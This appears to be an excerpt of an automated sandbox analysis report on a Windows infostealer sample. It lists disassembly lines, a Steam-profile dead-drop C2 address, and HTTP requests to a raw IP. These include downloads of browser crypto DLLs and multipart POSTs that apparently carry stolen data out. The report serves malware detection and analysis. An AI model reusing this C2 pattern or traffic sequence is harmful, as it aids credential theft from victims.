Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_05432408
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_054334E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_054334E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_05433700
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_05433708
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_0543BE18
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_0543BE20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then jmp 0543BA0Ah	0_2_0543B958
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	0_2_054333D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_054323FC

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199689717899

Source: global traffic

HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 78.47.123.174 78.47.123.174

Source: Joe Sandbox View

ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 6381Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 453Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 130769Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 331Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.123.174

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040514C _EH_prolog,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040514C

Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2060089144.000000006D09D000.00000002.00000001.01000000.0000000C.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.2048308496.000000001336C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2054500004.000000001930D000.00000002.00001000.00020000.00000000.sdmp, sqls[1].dll.1.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199689717899[1].htm.1.dr	String found in binary or memory: https://78.47.123.174
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/freebl3.dll
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/mozglue.dll
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.2045233748.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/nss3.dll%
Source: MSBuild.exe, 00000001.00000002.2045233748.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/nss3.dlla
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/softokn3.dlln
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/sqls.dll
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/sqls.dll0$
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/sqls.dllT$:4y
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/vcruntime140.dll
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/vcruntime140.dllR
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174EGDG
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174FCGC
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174JEGI
Source: AFBFHD.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?The
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c
Source: 76561199689717899[1].htm.1.dr	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001066000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.000000000117E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, ECGIII.1.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: AFBFHD.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AFBFHD.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AFBFHD.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.clo
Source: MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOIT
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.1.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
